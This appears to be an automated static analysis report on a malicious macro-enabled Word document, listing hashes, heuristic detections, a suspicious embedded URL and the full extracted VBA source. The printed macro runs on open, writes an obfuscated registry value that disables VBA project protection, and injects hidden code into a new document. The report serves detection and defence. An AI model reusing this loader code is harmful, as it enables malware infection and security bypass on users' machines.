Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 599fb0a0b85c5890…

MALICIOUS

Office (OOXML)

100.7 KB Created: 2021-04-28 04:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: efe8d97a0c1893595ce8dc5a5f484126 SHA-1: 651a502123da4bed437844009df52520962db12d SHA-256: 599fb0a0b85c5890b6156cbd10523807fe52c8ff508460d48b0175ead5dd6fce
130 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    trustCountClass.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString lenReference
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set tmpIteratorProc = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://better-transport-2008.com/bijol/MihdNkTNyU2Mx7XZHxmMwit0XXZ0uC9C5T/dRLzP695qJ/60157/laka6?cid=S0Mtalx0jrGVgS&search=LvIYG8MbJ1A3vTt6&=g6Xo0C5Bke&F28e=CZ&ref=RW33&ref=z1vdff8&cid=EfX5mHGD7UWJ&page=AGVXVFapX5o In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2847 bytes
SHA-256: 15fcb6c56e7ccc0be3dcda32db5a79db21446ee28c20efbd610ed085b23f681e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{C92FB623-603A-4175-9ED6-48EE4AB49D3F}{1F35A868-067A-4885-A17C-AE4EC133E0E2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "swapValue"
Sub autoopen()
screenLeft
Dim listboxArrayEx As String
listboxArrayEx = mainLib
libTmpProcedure listboxArrayEx
End Sub

Attribute VB_Name = "referenceLen"
Function viewBuf(trustRemoveView As String) As Variant
Dim tmpIteratorProc As Object
Dim tableDataCount As Object
Set tmpIteratorProc = CreateObject("msxml2.domdocument")
Set tableDataCount = tmpIteratorProc.createElement("code")
tableDataCount.DataType = "bin.base64"
tableDataCount.Text = trustRemoveView
viewBuf = tableDataCount.nodeTypedValue
End Function
Function globalBorderNamespace(iteratorSelect, ANamespace)
globalBorderNamespace = StrConv(iteratorSelect, ANamespace)
End Function

Attribute VB_Name = "ABorderTitle"
Sub libTmpProcedure(lenReference As String)
Set countButtonSize = CreateObject("word.application")
Set trustCountClass = countButtonSize.Documents.Add
trustCountClass.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString lenReference
countButtonSize.Visible = False
countButtonSize.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "clearLenMain"
Function tmpText() As String
tmpText = Application.Version
End Function
Function ExCaption()
ExCaption = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function countReferenceBuf()
countReferenceBuf = "cript.sh"
End Function
Function textBorderVariable()
textBorderVariable = "VjdXJpdHlcQWN"
End Function
Sub screenLeft()
vbTemp = globalBorderNamespace(viewBuf("SEtFWV9DVVJSR" & ExCaption & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
screenRight = tmpText
argumentDocument = globalBorderNamespace(viewBuf("XFdvcmRcU2" & textBorderVariable & "jZXNzVkJPTQ=="), vbUnicode)
collectionQueryClear = vbTemp & screenRight & argumentDocument
With CreateObject("ws" & countReferenceBuf & "ell")
.RegWrite collectionQueryClear, 1, "REG_DWORD"
End With
End Sub
Public Function listProc(ByVal sizeQuery As String) As String
For pasteProc = 1 To Len(sizeQuery) Step 2
procProc = Chr$(Val("&H" & Mid$(sizeQuery, pasteProc, 2)))
leftClearResponse = leftClearResponse & procProc
Next pasteProc
listProc = leftClearResponse
End Function
Function mainLib()
mainLib = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 26624 bytes
SHA-256: 57d87a435ea040babc8bd7cc0e6f0478f65f644e6c965fab110c1f354b18b152